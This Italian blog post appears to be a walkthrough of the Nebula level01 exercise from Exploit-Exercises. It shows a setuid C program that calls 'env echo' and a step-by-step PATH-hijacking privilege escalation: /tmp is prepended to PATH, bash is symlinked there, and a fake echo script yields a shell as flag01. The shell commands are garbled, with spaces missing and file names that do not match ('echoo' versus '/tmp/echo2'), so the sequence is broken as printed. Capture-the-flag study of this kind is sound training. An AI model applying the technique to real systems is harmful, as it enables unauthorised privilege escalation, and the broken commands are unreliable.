Continuano gli esercizi di Exploit-Exercises. La volta scorsa abbiamo visto il livello 00 ( il più facile ovviamente ).. Ora è arrivato il momento di passare al livello 01, grazie anche alla collaborazione di mattandreko.com. Apriamo la nostra macchina virtuale, qui l’articolo, ed effettuiamo il login con User e Pass “level01“. Il sito ufficiale ci indica cosa fare: “There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it? To do this level, log in as the level01 account with the password level01 . Files for this level can be found in /home/flag01.” Quindi è presente una vulnerabilità in un programma situato nella directory “/home/flag01″ che consente l’esecuzione di codice arbitrario. Diamo un occhio al codice sorgente, preso dal sito ufficiale.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
Analizziamo il codice. I tipi gid_t e uid_t sono definiti all’interno di “sys/types.h” ed indicano rispettivamente il tipo ID del gruppo e ID dello user. Le funzioni getegid() e geteuid(), contenute all’interno di “unistd.h” permettono di ricavare l’effettivo ID rispettivamente del gruppo e dello user. Sempre in questo include, troviamo le funzioni setresgid() e setresuid() che permettano di impostare l’ID reale, effettivo e salvato rispettivamente del gruppo e dello user. Alla fine la funzione system() permette di eseguire un comando attraverso la shell “/bin/sh -c comando“. “echo” scrive qualcosa da mostrare a schermo. In questo caso viene caricato il percorso ad “echo” dalle variabili di sistema. Quindi esso leggerà cosa c’è nel percorso. Ci basterà modificare la variabile PATH (all’interno di questa variabile si hanno i diversi percorsi divisi da 2 punti (:) che contengono eseguibili da avviare direttamente da terminale). Diamo quindi:
level01@nebula:/home/flag01$ PATH=/tmp:$PATH level01@nebula:/home/flag01$exportPATH
A questo punto, ci basterà vedere cosa c’è all’interno della variabile PATH per veder spuntare anche il percorso “/tmp“. Chiamando “echo”, quindi, esso andrà a vedere per prima nel percorso appena aggiungo “/tmp“. Ora possiamo creare un link simbolico tra la directory temporanea e la bash in questo modo:
level01@nebula:/home/flag01$ln-s/bin/bash/tmp/echoo
Ora possiamo sfruttare un echo e redirezionare lo standard output (“>”) sul file /tmp/echo in questo modo:
level01@nebula:/home/flag01$echo-e'#!/bin/bash\n/tmp/echo2'>/tmp/echo level01@nebula:/home/flag01$chmod+x/tmp/echo
Ci basterà a questo punto avviare il programma con
level01@nebula:/home/flag01$ ./flag01
e verificare la riuscita con getflag
flag01@nebula:/home/flag01$ getflag
You have successfully executed getflag on a target account